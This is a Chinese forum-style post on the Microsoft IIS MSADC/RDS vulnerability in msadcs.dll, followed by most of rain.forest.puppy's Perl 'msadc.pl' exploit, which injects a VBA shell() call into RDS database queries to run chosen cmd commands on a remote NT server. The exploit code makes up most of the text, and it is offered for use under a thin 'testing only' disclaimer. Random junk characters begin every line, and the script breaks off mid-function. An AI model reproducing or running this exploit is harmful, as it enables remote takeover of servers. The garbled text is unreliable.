IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iXDQ2&gE* @7*Ag~MRb 涉及程序:
B.J4}Ua Microsoft NT server
6">jf #pE 'zhw]L;'g 描述:
$W;IW$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
id.W"5+ J8yi#A>+ 详细:
Wy%F
如果你没有时间读详细内容的话,就删除:
D?_#6i;DJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
g$*VA} s 有关的安全问题就没有了。
zorTZ #5 /< CjBW: 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
q>q@ztt xbA% 'p 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
o s
HE4x 关于利用ODBC远程漏洞的描述,请参看:
{G%!M+n< ')w*c http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Y">;2Pt; 8}W06k>)% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:1wMGk http://www.microsoft.com/security/bulletins/MS99-025faq.asp S:"t]gbF = %.R_[.W 这里不再论述。
UI:{*N**Z eMvb*X6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Z qg(\ {q:o}<-L+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_k@{>
?(a 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Q( KLx )
0fPqO2 %?EOD=e= #将下面这段保存为txt文件,然后: "perl -x 文件名"
*<! W k\ =`X@+~%- #!perl
G
K @]61b #
f. =4p^ # MSADC/RDS 'usage' (aka exploit) script
pstQithS #
SJ-g2aAT # by rain.forest.puppy
hoi hdVjv #
97Qng*i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Sn/~R|3XA7 # beta test and find errors!
G JItGq`) (r.{v@h,dV use Socket; use Getopt::Std;
v; ;X2 a1k getopts("e:vd:h:XR", \%args);
puv*p%E ^F~e?^s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[,a O*7N
wDZFOx0#8 if (!defined $args{h} && !defined $args{R}) {
DwZt.* print qq~
ys;e2xekg Usage: msadc.pl -h <host> { -d <delay> -X -v }
@"HR"@pX -h <host> = host you want to scan (ip or domain)
@:xO5L}Io -d <seconds> = delay between calls, default 1 second
D.<CkDB -X = dump Index Server path table, if available
&hba{!`y -v = verbose
WL}6YSC -e = external dictionary file for step 5
=D4EPfQn1 LZG^\c$ Or a -R will resume a command session
v-)eT /)de`k" ~; exit;}
Em@h5V *<U&DOYV: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
IO xj$ ?%l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2ezuP F if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WytCc>oL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
n a2"Sy=Yi $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!r.}y|t?; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
VJCh5t* 4_N)1u ! if (!defined $args{R}){ $ret = &has_msadc;
J5Fg]O* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:Rt5=0x
G-3.- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9$Mi/eLG2N . "cmd /c ";
vo`wYJ3W $in=<STDIN>; chomp $in;
,0 &lag $command="cmd /c " . $in ;
YC=BP5^ {u.V8%8 if (defined $args{R}) {&load; exit;}
NTL#! @LL&ggV? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;6b#I$-J- &try_btcustmr;
sjTsaM;< v[a#>!;s print "\nStep 2: Trying to make our own DSN...";
+zs6$OI]V &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D hZtiqL#_ pXFNK"jm print "\nStep 3: Trying known DSNs...";
ri JyH;) &known_dsn;
M+hc,;6 )i_FU~ LRq print "\nStep 4: Trying known .mdbs...";
9x?;;qC"m9 &known_mdb;
(uG4W|?p Ab2g),;c if (defined $args{e}){
BXfaqYb;Q print "\nStep 5: Trying dictionary of DSN names...";
R^B2J+O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P/I{q s .@6]_h; print "Sorry Charley...maybe next time?\n";
oo Z-T>$ exit;
_yWH\5@ /2@%:b) ##############################################################################
jujx3rnK? tt^ze|*&t sub sendraw { # ripped and modded from whisker
tJwF
h6 sleep($delay); # it's a DoS on the server! At least on mine...
GVl
u4 my ($pstr)=@_;
4*+EUJ| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
HQ
s)T die("Socket problems\n");
H~ZSw7!M8 if(connect(S,pack "SnA4x8",2,80,$target)){
jYy0^)6X( select(S); $|=1;
sN
C?o[9l! print $pstr; my @in=<S>;
W1@;94Sb~ select(STDOUT); close(S);
H*\[:tPa return @in;
,#E5 /'c` } else { die("Can't connect...\n"); }}
okcl-q @qC:% |> ##############################################################################
Oq2H>eW`f (t]>=p%4g sub make_header { # make the HTTP request
lXPn]iLJ my $msadc=<<EOT
?
w?k-v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
JG<3,>@% User-Agent: ACTIVEDATA
g\-3c=X Host: $ip
+zD'r5 Content-Length: $clen
;Bb5KD Connection: Keep-Alive
\Zv =?\ 3EZw F ADCClientVersion:01.06
vf yva Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Dgm%Ng K%}I}8M --!ADM!ROX!YOUR!WORLD!
68c;Vb Content-Type: application/x-varg
Cv~hU%1T Content-Length: $reqlen
`_'Dj> 7:L~n(QpP EOT
%^l&fM* ; $msadc=~s/\n/\r\n/g;
f`,Hr?H return $msadc;}
N 9&@,3 4LjSDgA ##############################################################################
jp^WsHI3 nTU~M~gky sub make_req { # make the RDS request
v,+l xY my ($switch, $p1, $p2)=@_;
)M N
yOj my $req=""; my $t1, $t2, $query, $dsn;
'c[LTpn4= `Y\/US70{c if ($switch==1){ # this is the btcustmr.mdb query
ptv4v[gQ $query="Select * from Customers where City=" . make_shell();
sYA-FO3gh $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
s~$4bN>LD $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#@6L|$iX =+h!JgY/L elsif ($switch==2){ # this is general make table query
$l;tP $query="create table AZZ (B int, C varchar(10))";
CDYx/yO $dsn="$p1";}
tN3 {7'\7 >v_5xd9 elsif ($switch==3){ # this is general exploit table query
m90R8 V $query="select * from AZZ where C=" . make_shell();
PBs<8xBx^ $dsn="$p1";}
K2rS[Kdfaq ~}0hN]*G elsif ($switch==4){ # attempt to hork file info from index server
z#J/*712 $query="select path from scope()";
#KNq:@wp6 $dsn="Provider=MSIDXS;";}
{qWG^Db [9U srpYi elsif ($switch==5){ # bad query
a^T4\ $query="select";
T7,Gf({ $dsn="$p1";}
Zc3:9 N"x\YHp $t1= make_unicode($query);
+Q!xEfpO; $t2= make_unicode($dsn);
Fl+tbF $req = "\x02\x00\x03\x00";
HA.NZkq.tV $req.= "\x08\x00" . pack ("S1", length($t1));
Rf(x^J{ $req.= "\x00\x00" . $t1 ;
ua|Z`qUyq $req.= "\x08\x00" . pack ("S1", length($t2));
h NOYFH $req.= "\x00\x00" . $t2 ;
8cBW] \ v $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
CAFE}| return $req;}
;Jbc'V'fm )Kk(P/s ##############################################################################
9 QCpXy &8_f'+i0 sub make_shell { # this makes the shell() statement
:
9?Cm` return "'|shell(\"$command\")|'";}
+z jzO]8 a,57`Ks+n< ##############################################################################
!Ir1qt8T `/wq3+ ? sub make_unicode { # quick little function to convert to unicode
t1:S!@ my ($in)=@_; my $out;
@maZlw1q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ngkeJ)M0$ return $out;}
lGnql 1( `^&15?Wk ##############################################################################
F'UguC"> zA'gb'MmW sub rdo_success { # checks for RDO return success (this is kludge)
H7tQ# my (@in) = @_; my $base=content_start(@in);
cJHABdK- if($in[$base]=~/multipart\/mixed/){
43u PH1
) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
*t?~)o7 return 0;}
FU(}=5n A"BtVy[[9 ##############################################################################
zh{@?k EBIa%, sub make_dsn { # this makes a DSN for us
Vyq#p9Q my @drives=("c","d","e","f");
|?2 hml print "\nMaking DSN: ";
ER;lkF`RF foreach $drive (@drives) {
[DotS\p!z print "$drive: ";
s#+"5&!s my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u8<&F`7j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
clq~ ;hx . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
rF8W(E_= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/jZaU` return 0 if $2 eq "404"; # not found/doesn't exist
2|0Qk& if($2 eq "200") {
<m Ju v foreach $line (@results) {
?ae[dif return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-TK|Y" } return 0;}
>/!7i3Ow- ;T5,T ##############################################################################
&J lpA<^s; ;gxN@%}@ sub verify_exists {
nJtEUVMt my ($page)=@_;
.g/ARwM} my @results=sendraw("GET $page HTTP/1.0\n\n");
,>bGbx return $results[0];}
ba(arGZ+{ Sc;iAi
( ##############################################################################
h*;g0QBkl ill-%OPeg sub try_btcustmr {
toS(UM n my @drives=("c","d","e","f");
Cec9#C my @dirs=("winnt","winnt35","winnt351","win","windows");
QHHW(InG< 5u2{n rc foreach $dir (@dirs) {
B`?N,N" print "$dir -> "; # fun status so you can see progress
g,t3OnxS? foreach $drive (@drives) {
!Y ;H(.A/ print "$drive: "; # ditto
]}mly`Fw $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_u:>1] $reqlenlen=length( "$reqlen" );
(v|r'B9b $clen= 206 + $reqlenlen + $reqlen;
'i@,~[Z4 "C_T]%'Wm my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.ocx(_3G if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
! (2-(LgA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
NoFs-GGGh ,sO:$ ##############################################################################
:7 qqjs
XXa(305 sub odbc_error {
[leW/2i my (@in)=@_; my $base;
j y7 my $base = content_start(@in);
DRH'A!r! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8|1`Tn}o $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z} c'Bm( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M
(+.$uz $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Sa%zre@ return $in[$base+4].$in[$base+5].$in[$base+6];}
k/df(cs
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{F'Az1^I= print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M,crz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\.c]kG>k- VBu8}}Ql ##############################################################################
cvKV95bn o[o:A|n sub verbose {
HV ;; my ($in)=@_;
u FMIY(vB return if !$verbose;
Yx6hA#7I print STDOUT "\n$in\n";}
OQ6sv/ A^pu ##############################################################################
_)Qy4[S=d {]=v]O|, sub save {
wuKl-:S;Vs my ($p1, $p2, $p3, $p4)=@_;
Am=wEu[b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
j8pFgnQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
vK(I3db! close OUT;}
NjbwGcH%\ p"KU7-BfvC ##############################################################################
UV4u.7y ]pWP?Ws sub load {
_().t5< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~wTX>qV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Sr&T[ex,. @p=<IN>; close(IN);
6)ycmu;!$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Q!K`e )R $target= inet_aton($ip) || die("inet_aton problems");
6^sHgYR print "Resuming to $ip ...";
z5 Bi=~=# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ob'n{T+lZ if($p[1]==1) {
4YLs^1'TG0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
;-Ss# & $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}kE87x' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%w7m\nw@ if (rdo_success(@results)){print "Success!\n";}
=Ey`M#t; else { print "failed\n"; verbose(odbc_error(@results));}}
~s#e,Kav" elsif ($p[1]==3){
&3Tx@XhO if(run_query("$p[3]")){
5 [4Z=RP print "Success!\n";} else { print "failed\n"; }}
o'Pu'y elsif ($p[1]==4){
Jf)3< ~G if(run_query($drvst . "$p[3]")){
H0a-( print "Success!\n"; } else { print "failed\n"; }}
4\p-TPM exit;}
2J<&rKCF }E; F)=E ##############################################################################
nLy#|C Kd3QqVJBz1 sub create_table {
Q2/.6O8 my ($in)=@_;
;LRW
8Wd $reqlen=length( make_req(2,$in,"") ) - 28;
xhw-2dl*H $reqlenlen=length( "$reqlen" );
`tE^jqrke5 $clen= 206 + $reqlenlen + $reqlen;
>|3a
9S my @results=sendraw(make_header() . make_req(2,$in,""));
z<pJYpxH return 1 if rdo_success(@results);
k=/eM$": my $temp= odbc_error(@results); verbose($temp);
@T&t.|` return 1 if $temp=~/Table 'AZZ' already exists/;
"+|L_iuNQ return 0;}
h1+hds+ +;q.Y? ##############################################################################
@(:v_l )NT5yF,m sub known_dsn {
J!h^egP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#SkX@sl@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9`"DFFSMS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}rbZ&IN\?E "banner", "banners", "ads", "ADCDemo", "ADCTest");
NQ9Ojj{# YQgNv` l} foreach $dSn (@dsns) {
-2i\G .,J print ".";
;/LD)$_ next if (!is_access("DSN=$dSn"));
a<m-V&4x if(create_table("DSN=$dSn")){
lIf(6nm@ print "$dSn successful\n";
7*s8ttX if(run_query("DSN=$dSn")){
7=P^_LcU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&ZJgQ-Pc(m print "Something's borked. Use verbose next time\n";}}} print "\n";}
8o-bd_ :b/jNHJU ##############################################################################
NY.k. #S5`Pd!I sub is_access {
Qw)9r{f my ($in)=@_;
8#LJ* o $reqlen=length( make_req(5,$in,"") ) - 28;
PRs@zkO $reqlenlen=length( "$reqlen" );
kzO&24 $clen= 206 + $reqlenlen + $reqlen;
*'ZN:5%H my @results=sendraw(make_header() . make_req(5,$in,""));
V"RpH, my $temp= odbc_error(@results);
ijUzC>O+q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
\u{8Bak0 return 0;}
3HiFISA* Z=+03 ##############################################################################
Cg!^S(U4 u oVNK sub run_query {
%_gho my ($in)=@_;
lCb+{OB $reqlen=length( make_req(3,$in,"") ) - 28;
rwqv V^ $reqlenlen=length( "$reqlen" );
9dKul,c $clen= 206 + $reqlenlen + $reqlen;
uS5o?fg\e my @results=sendraw(make_header() . make_req(3,$in,""));
IcF@F>> return 1 if rdo_success(@results);
v[S-Pi1 my $temp= odbc_error(@results); verbose($temp);
0 bSA_ return 0;}
~OFvu}] hW2.8f$ ##############################################################################
?S#\K^ 9$l>\.6 sub known_mdb {
jqcz\n d my @drives=("c","d","e","f","g");
CjL<